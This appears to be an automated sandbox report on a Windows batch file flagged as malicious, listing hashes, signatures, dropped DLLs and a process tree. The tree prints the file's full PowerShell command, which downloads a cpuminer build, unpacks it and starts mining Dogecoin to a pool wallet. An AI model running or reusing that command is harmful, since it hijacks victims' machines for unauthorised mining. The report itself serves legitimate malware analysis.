Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    03/02/2024, 00:16

General

  • Target

    73u3Ito.bat

  • Size

    499B

  • MD5

    fe74bff27516829a88cfbc6f6e99646f

  • SHA1

    0c15d859211c79910b277d07e729bec7197a60cd

  • SHA256

    b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

  • SHA512

    a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5308
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4384
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3736
        • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2244

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_50jugqcu.g32.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    581KB

    MD5

    2c9a5397209b6c5f52f4b2e1d198eebe

    SHA1

    a570eca22329e6d846dde69dbf2b0c355d0444ad

    SHA256

    42626f52eae20628334317179de7b83aa2ff7a5aa72f75afee8b1afaa7a7c702

    SHA512

    1f3962f9aa79dbdddf05927df66a42c92d3ed66136e04f7f3194aa321f2290bff94c5f0c0baeb8ce9315bbd7d01669c9eee50bb61f9d45c2c46d3f43acca2c74

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    857KB

    MD5

    82c74c7cb4fa790994c6aadab88b31b1

    SHA1

    5f23ed31a09a98b762a4055d1a4f87c8c75d8f30

    SHA256

    32eca4aefbf4e060865628a7335e9da85ec6258dd1135f7f249a23bf2d5c12c8

    SHA512

    c2fcab7fcc51e6aca9d2d1ff29dfac6b82061a6f07c7013ea182e73a7c83cd7612f068b1d7d78364de07664df971944c8bfef801982148d28c6511d6c7415d90

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

    Filesize

    648KB

    MD5

    fc6242b3e580e5ff55c630021e86cc72

    SHA1

    1addeefbdefe14dcc2d5be51d31651d34527af9e

    SHA256

    9182c987be9877854b0a1e8487554479a85f1f54317155cc953a1b0dc716cfc1

    SHA512

    278487cac9aefc91a3d10b84a35cc1ed0babbd38ed7d1506d16f01a8ac35fcf707b498ba5f0157680a46826e72d47fc1d6bb16a41a422db3259f3ec389b1347e

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

    Filesize

    547KB

    MD5

    ea908ffad71c759392a12ebb38d38d6c

    SHA1

    9f78a8525683cde73bf4dfec2a98e5c03c6bf3ec

    SHA256

    7d3c5ea24341964e7d95f786642ac42aa688ae9bb98295c5f0614754fdf6a4d1

    SHA512

    b5963ae101588082ef7d7218f0a0d94c7ad9c682b171f969f740a6c1a8b53b1502923ee8e59c1a8cdee7f552a5e6ae873b72454b695bf9f9ff2f08a162072c5a

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    701KB

    MD5

    25326140e02fcc77f4d9769031f5fce8

    SHA1

    3908870958f7722f62e94816c4dd0b8cd5dcc6e1

    SHA256

    f7034d33dfd718ea5827e7f3a8bb14e54e804bb48aa2610b776deffe4c7f5aae

    SHA512

    df63b2d33cc3ae1c552dc167bb95e37b037fdaf28ae05d613f6eff35c27c0e172f845387c2d54adf393b73693e8bff8f0b4f2035b47f179f66eaf4a77119a203

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    538KB

    MD5

    891a7a094cfd970f1df89cb29a262a28

    SHA1

    c4fba6a2a9f4dcde91672ca7e214d673658c0bb4

    SHA256

    9ee747ce3e182174c41183b9bd7a3257854f438a90c0bac6580f37e2b0eb20d7

    SHA512

    385ad2c34ac85a2223072bd182de61e0f9aba09b6a6fefdfdf1ca6a3af7b1a3aba32baf92d1f338508ed1153f9ee4602fd4594326403370b54c21b921312cb3a

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    672KB

    MD5

    3cd729fa1c6dfaefe2f80f250465ce16

    SHA1

    331fc7afa04b2bc1c32dc95e2c30b9c5407b8482

    SHA256

    3c1ec78d4825f233420ac985c1fb25ba94080fa68ae118fef854dfe6e9e564a3

    SHA512

    f8118b63f16a2737d1acd105e48ae0abc73d40c9393d30ca9771522d309af8c9f66cfa4cb411741efef6cf7bc78c21270f0d25fdae9e43359dad0b4380a3698f

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    607KB

    MD5

    eb94492fe868e71876df5ee48e3b42ae

    SHA1

    1239c2a6b8edf4e863de520e066778fc25cd4efe

    SHA256

    137718b56139270d7d42f0a1d4b93bd664a77b7de0920f495e5df3369b0f5c84

    SHA512

    79a5a640527ec5a7bc47cc7371de865d0d018863bbcbb2c89217ed0976a7cec1cc95342eaaa3bbf9d731a06bea656b90f1ff9ccdc07463668994beffc0b4de5c

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    519KB

    MD5

    e1d0898320303fd8fda4e28632e23980

    SHA1

    6da6e739787c502ede458ab40e9e728365d42ddc

    SHA256

    267e161fd372bb8804ec01cea568f75ccb885272eee23beeb0d6422eb1e36229

    SHA512

    d844f45f840db51f7b6f0db336199b525ec9eba7a65b31a4bc47fcad88204b6f23408442a56be5d7ac106238900bdb4a6393b3016e2bec4c7a1d0f5cad4c99bd

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

    Filesize

    586KB

    MD5

    1e69a59505141489ae53aec60662c648

    SHA1

    7f5615e6b50a03078d6bf333635c8920659ce0af

    SHA256

    ab00352deca9bc0e6953336418d7fa23cd24223859c10f6003b10125b8e78c90

    SHA512

    6d73aee093921efca4041dfaffde1f74bcd7093526fe03486a97ff6ba4b5b1fdabe6a82f70df5312260895ac0407044b444e95beb219e5424673bf503d84cf90

  • memory/2244-77-0x0000000001010000-0x00000000028C5000-memory.dmp

    Filesize

    24.7MB

  • memory/2244-91-0x000000005FC20000-0x000000005FCB8000-memory.dmp

    Filesize

    608KB

  • memory/2244-128-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2244-118-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2244-113-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2244-108-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2244-103-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2244-98-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2244-90-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/2244-88-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2244-83-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2244-76-0x000000005FC20000-0x000000005FCB8000-memory.dmp

    Filesize

    608KB

  • memory/2244-75-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/2244-74-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/2244-73-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4384-15-0x000001E5DD730000-0x000001E5DD746000-memory.dmp

    Filesize

    88KB

  • memory/4384-21-0x000001E5F6480000-0x000001E5F6492000-memory.dmp

    Filesize

    72KB

  • memory/4384-13-0x00007FFF420D0000-0x00007FFF42B91000-memory.dmp

    Filesize

    10.8MB

  • memory/4384-0-0x000001E5F5890000-0x000001E5F5922000-memory.dmp

    Filesize

    584KB

  • memory/4384-12-0x000001E5F64B0000-0x000001E5F65BE000-memory.dmp

    Filesize

    1.1MB

  • memory/4384-14-0x000001E5DD6D0000-0x000001E5DD6E0000-memory.dmp

    Filesize

    64KB

  • memory/4384-16-0x00007FFF420D0000-0x00007FFF42B91000-memory.dmp

    Filesize

    10.8MB

  • memory/4384-1-0x000001E5DD680000-0x000001E5DD6A2000-memory.dmp

    Filesize

    136KB

  • memory/4384-11-0x000001E5DD670000-0x000001E5DD680000-memory.dmp

    Filesize

    64KB

  • memory/4384-17-0x000001E5DD6D0000-0x000001E5DD6E0000-memory.dmp

    Filesize

    64KB

  • memory/4384-18-0x000001E5DD6D0000-0x000001E5DD6E0000-memory.dmp

    Filesize

    64KB

  • memory/4384-20-0x000001E5DD6D0000-0x000001E5DD6E0000-memory.dmp

    Filesize

    64KB

  • memory/4384-22-0x000001E5DD750000-0x000001E5DD75A000-memory.dmp

    Filesize

    40KB

  • memory/4384-60-0x00007FFF420D0000-0x00007FFF42B91000-memory.dmp

    Filesize

    10.8MB